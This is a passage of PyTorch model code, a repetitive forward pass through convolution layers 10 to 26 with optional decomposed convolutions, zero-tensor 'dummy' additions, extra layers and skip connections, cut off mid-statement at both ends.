self.conv10_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv10_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[10] == 4: X1_0 = self.conv10_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv10_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv10_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv10_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv10(X1) else: X1 = self.conv10(X1) if self.dummy_list != None: if self.dummy_list[10] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[10]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn10(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[10] == 1: X1 = self.conv10_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[10] == 1: X1_skip = X1 X1 = self.conv10_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[11] == 1: X1_0 = self.conv11_0(X1) X1_1 = self.conv11_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[11] == 2: X1_0 = self.conv11_0(X1) X1_1 = self.conv11_1(X1) X1_2 = self.conv11_2(X1) X1_3 = self.conv11_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[11] == 3: X1_0 = self.conv11_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv11_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[11] == 4: X1_0 = self.conv11_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv11_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv11_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv11_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv11(X1) else: X1 = self.conv11(X1) if self.dummy_list != None: if self.dummy_list[11] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[11]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn11(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[11] == 1: X1 = self.conv11_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[11] == 1: X1_skip = X1 X1 = self.conv11_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[12] == 1: X1_0 = self.conv12_0(X1) X1_1 = self.conv12_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[12] == 2: X1_0 = self.conv12_0(X1) X1_1 = self.conv12_1(X1) X1_2 = self.conv12_2(X1) X1_3 = self.conv12_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[12] == 3: X1_0 = self.conv12_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv12_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[12] == 4: X1_0 = self.conv12_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv12_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv12_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv12_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv12(X1) else: X1 = self.conv12(X1) if self.dummy_list != None: if self.dummy_list[12] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[12]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn12(X1) X1_saved = X1 X1 = X0_skip X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[13] == 1: X1_0 = self.conv13_0(X1) X1_1 = self.conv13_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[13] == 2: X1_0 = self.conv13_0(X1) X1_1 = self.conv13_1(X1) X1_2 = self.conv13_2(X1) X1_3 = self.conv13_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[13] == 3: X1_0 = self.conv13_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv13_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[13] == 4: X1_0 = self.conv13_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv13_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv13_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv13_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv13(X1) else: X1 = self.conv13(X1) if self.dummy_list != None: if self.dummy_list[13] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[13]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn13(X1) X1 += X1_saved if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[13] == 1: X1 = self.conv13_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[13] == 1: X1_skip = X1 X1 = self.conv13_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[14] == 1: X1_0 = self.conv14_0(X1) X1_1 = self.conv14_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[14] == 2: X1_0 = self.conv14_0(X1) X1_1 = self.conv14_1(X1) X1_2 = self.conv14_2(X1) X1_3 = self.conv14_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[14] == 3: X1_0 = self.conv14_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv14_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[14] == 4: X1_0 = self.conv14_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv14_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv14_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv14_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv14(X1) else: X1 = self.conv14(X1) if self.dummy_list != None: if self.dummy_list[14] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[14]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn14(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[14] == 1: X1 = self.conv14_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[14] == 1: X1_skip = X1 X1 = self.conv14_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[15] == 1: X1_0 = self.conv15_0(X1) X1_1 = self.conv15_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[15] == 2: X1_0 = self.conv15_0(X1) X1_1 = self.conv15_1(X1) X1_2 = self.conv15_2(X1) X1_3 = self.conv15_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[15] == 3: X1_0 = self.conv15_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv15_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[15] == 4: X1_0 = self.conv15_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv15_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv15_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv15_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv15(X1) else: X1 = self.conv15(X1) if self.dummy_list != None: if self.dummy_list[15] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[15]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn15(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[15] == 1: X1 = self.conv15_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[15] == 1: X1_skip = X1 X1 = self.conv15_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[16] == 1: X1_0 = self.conv16_0(X1) X1_1 = self.conv16_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[16] == 2: X1_0 = self.conv16_0(X1) X1_1 = self.conv16_1(X1) X1_2 = self.conv16_2(X1) X1_3 = self.conv16_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[16] == 3: X1_0 = self.conv16_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv16_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[16] == 4: X1_0 = self.conv16_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv16_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv16_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv16_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv16(X1) else: X1 = self.conv16(X1) if self.dummy_list != None: if self.dummy_list[16] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[16]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn16(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[16] == 1: X1 = self.conv16_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[16] == 1: X1_skip = X1 X1 = self.conv16_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[17] == 1: X1_0 = self.conv17_0(X1) X1_1 = self.conv17_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[17] == 2: X1_0 = self.conv17_0(X1) X1_1 = self.conv17_1(X1) X1_2 = self.conv17_2(X1) X1_3 = self.conv17_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[17] == 3: X1_0 = self.conv17_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv17_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[17] == 4: X1_0 = self.conv17_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv17_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv17_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv17_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv17(X1) else: X1 = self.conv17(X1) if self.dummy_list != None: if self.dummy_list[17] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[17]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn17(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[17] == 1: X1 = self.conv17_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[17] == 1: X1_skip = X1 X1 = self.conv17_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[18] == 1: X1_0 = self.conv18_0(X1) X1_1 = self.conv18_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[18] == 2: X1_0 = self.conv18_0(X1) X1_1 = self.conv18_1(X1) X1_2 = self.conv18_2(X1) X1_3 = self.conv18_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[18] == 3: X1_0 = self.conv18_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv18_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[18] == 4: X1_0 = self.conv18_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv18_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv18_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv18_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv18(X1) else: X1 = self.conv18(X1) if self.dummy_list != None: if self.dummy_list[18] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[18]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn18(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[18] == 1: X1 = self.conv18_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[18] == 1: X1_skip = X1 X1 = self.conv18_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[19] == 1: X1_0 = self.conv19_0(X1) X1_1 = self.conv19_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[19] == 2: X1_0 = self.conv19_0(X1) X1_1 = self.conv19_1(X1) X1_2 = self.conv19_2(X1) X1_3 = self.conv19_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[19] == 3: X1_0 = self.conv19_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv19_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[19] == 4: X1_0 = self.conv19_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv19_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv19_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv19_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv19(X1) else: X1 = self.conv19(X1) if self.dummy_list != None: if self.dummy_list[19] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[19]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn19(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[19] == 1: X1 = self.conv19_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[19] == 1: X1_skip = X1 X1 = self.conv19_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[20] == 1: X1_0 = self.conv20_0(X1) X1_1 = self.conv20_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[20] == 2: X1_0 = self.conv20_0(X1) X1_1 = self.conv20_1(X1) X1_2 = self.conv20_2(X1) X1_3 = self.conv20_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[20] == 3: X1_0 = self.conv20_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv20_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[20] == 4: X1_0 = self.conv20_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv20_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv20_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv20_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv20(X1) else: X1 = self.conv20(X1) if self.dummy_list != None: if self.dummy_list[20] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[20]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn20(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[20] == 1: X1 = self.conv20_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[20] == 1: X1_skip = X1 X1 = self.conv20_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[21] == 1: X1_0 = self.conv21_0(X1) X1_1 = self.conv21_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[21] == 2: X1_0 = self.conv21_0(X1) X1_1 = self.conv21_1(X1) X1_2 = self.conv21_2(X1) X1_3 = self.conv21_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[21] == 3: X1_0 = self.conv21_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv21_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[21] == 4: X1_0 = self.conv21_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv21_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv21_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv21_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv21(X1) else: X1 = self.conv21(X1) if self.dummy_list != None: if self.dummy_list[21] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[21]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn21(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[21] == 1: X1 = self.conv21_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[21] == 1: X1_skip = X1 X1 = self.conv21_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[22] == 1: X1_0 = self.conv22_0(X1) X1_1 = self.conv22_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[22] == 2: X1_0 = self.conv22_0(X1) X1_1 = self.conv22_1(X1) X1_2 = self.conv22_2(X1) X1_3 = self.conv22_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[22] == 3: X1_0 = self.conv22_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv22_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[22] == 4: X1_0 = self.conv22_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv22_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv22_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv22_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv22(X1) else: X1 = self.conv22(X1) if self.dummy_list != None: if self.dummy_list[22] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[22]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn22(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[22] == 1: X1 = self.conv22_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[22] == 1: X1_skip = X1 X1 = self.conv22_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[23] == 1: X1_0 = self.conv23_0(X1) X1_1 = self.conv23_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[23] == 2: X1_0 = self.conv23_0(X1) X1_1 = self.conv23_1(X1) X1_2 = self.conv23_2(X1) X1_3 = self.conv23_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[23] == 3: X1_0 = self.conv23_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv23_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[23] == 4: X1_0 = self.conv23_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv23_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv23_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv23_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv23(X1) else: X1 = self.conv23(X1) if self.dummy_list != None: if self.dummy_list[23] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[23]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn23(X1) X1_saved = X1 X1 = X0_skip X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[24] == 1: X1_0 = self.conv24_0(X1) X1_1 = self.conv24_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[24] == 2: X1_0 = self.conv24_0(X1) X1_1 = self.conv24_1(X1) X1_2 = self.conv24_2(X1) X1_3 = self.conv24_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[24] == 3: X1_0 = self.conv24_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv24_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[24] == 4: X1_0 = self.conv24_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv24_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv24_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv24_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv24(X1) else: X1 = self.conv24(X1) if self.dummy_list != None: if self.dummy_list[24] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[24]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn24(X1) X1 += X1_saved if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[24] == 1: X1 = self.conv24_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[24] == 1: X1_skip = X1 X1 = self.conv24_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[25] == 1: X1_0 = self.conv25_0(X1) X1_1 = self.conv25_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[25] == 2: X1_0 = self.conv25_0(X1) X1_1 = self.conv25_1(X1) X1_2 = self.conv25_2(X1) X1_3 = self.conv25_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[25] == 3: X1_0 = self.conv25_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv25_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[25] == 4: X1_0 = self.conv25_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv25_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv25_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv25_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv25(X1) else: X1 = self.conv25(X1) if self.dummy_list != None: if self.dummy_list[25] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[25]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn25(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[25] == 1: X1 = self.conv25_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[25] == 1: X1_skip = X1 X1 = self.conv25_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[26] == 1: X1_0 = self.conv26_0(X1) X1_1 = self.conv26_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[26] == 2: X1_0 = self.conv26_0(X1) X1_1 = self.conv26_1(X1) X1_2 = self.conv26_2(X1) X1_3 = self.conv26_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[26] == 3: X1_0 = self.conv26_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv26_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[26] == 4: X1_0 = self.conv26_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv26_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv26_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv26_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv26(X1) else: X1 = self.conv26(X1) if self.dummy_list != None: if self.dummy_list[26] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[26]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn26(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[26] == 1: X1 = self.conv26_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[26] == 1: X1_skip = X1 X1 = self.conv26_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[27] 